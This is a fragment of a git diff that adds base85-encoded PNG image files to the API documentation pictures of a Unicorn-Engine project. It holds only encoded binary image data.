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 D#V#qa literal 0 HcmV?d00001 diff --git a/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/I25E9sWcJpGyax7.png b/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/I25E9sWcJpGyax7.png new file mode 100644 index 0000000000000000000000000000000000000000..f4a5af7289a9074e21f92564d285db8a711cc833 GIT binary patch literal 27807 zcma%?2UHW=+wN(CC`CY}cL<_LH%JFTdMGwTI)o;nNR?itNbe=|jtWSS-itzLp+o3O z4ZW8@;0Dj}od0+4cfWhrtVI@NX4pHKncwp~@4G`a)fGu^(A~hn!68*vl7EJSg9pXI z!M$^x5c`+17G5nJ92Oj9dD$25aW@+=WzNdZfH9wLCRHsC-I9B>P>!M3uyRi;XqaX! zF)JJlh<qe=YP{H$Vf`cEHmTtZ(JHWk5Z}=kShFj;*99k62Plml-lOKvv}uX+W&2Sf znPG*F8~DaLARO`F&CAM9ue`RRDvldHw)Y!`ypFX;KfSb;e0ezXY0_eDTsWeQ88SeP zFTG18oz3L7Nb$6@$t~IzdV*duyf8Du!K_%4;7CtxP}ejE`)KTMk8QXz<KuS@`@SPP zV)s8K^4TF;Bei=U;J#7bDf1YSW(g?~k_ZMi<cZ-)Pcb>p&kdi~KRWY+WQZECil6Wg zp645)IT_(6DVe9VxB7)T`^UuEn{04V>h$tR?-qox3)q8q^ZI4R@>~g$9K7F4ESE`k zACQ_x6uAGbKX9{VYyo>fCEB>e9bbBCOZuPl`$Jr|YT00?b>oe^(8%jtm=foffY}A{ zjuPjfmbUji;pL1wj`c@O3%SqtTAB+_U9FGskpxHrEdoLXV<YSIpWOHl_Q;rD`(^$F z>QeRpdtS?MHahFIgRFI{bOX4z?mCI;VTac|5e-cw?g4qb4d7kX)%5(a8y<cx|JTZX zO_zhm(l%Kerqc5k-t@=2?Rr*!pRG>@=(;vBTZDN^E@!wg3Yz*<CHYBzxM-&QWv70W zCks(-SF2w7jl~Qu^Lp|2o0ZMPXa21=o~|!M&cY;S^)F?;l(rBD55f^y5UwQjXMR3( z)>Nw_m$!@J=*M!fYy9hvKWNi|2f05w`V903Di+iqk^U6uATY)6M0w4k<}4YSC+0}# zFX3g2b4vZMJVi&mRm+Y$z(SifODrt`gnr%A)TD;w48PoSao&irWX&C<Z@sdaMAANk zHX%PZauPSq+<ev&@Ko)tuxJ)>5eH3-ol+AhY4S10T_kMk)y&56nk82~2RlpNYQP?c z4_m#{uR^Q%Bk1>#PJdbp+aqyj3W7(gO^k93t&kTB{c>t~$)P)sv?LLgX;K#nRjh{O zsjGgF{z<8PyMo7=;SdLljB8<xPHnUykP|0fLKX@uBY&}{W~}(>-2D8Egmr{eYg9!T 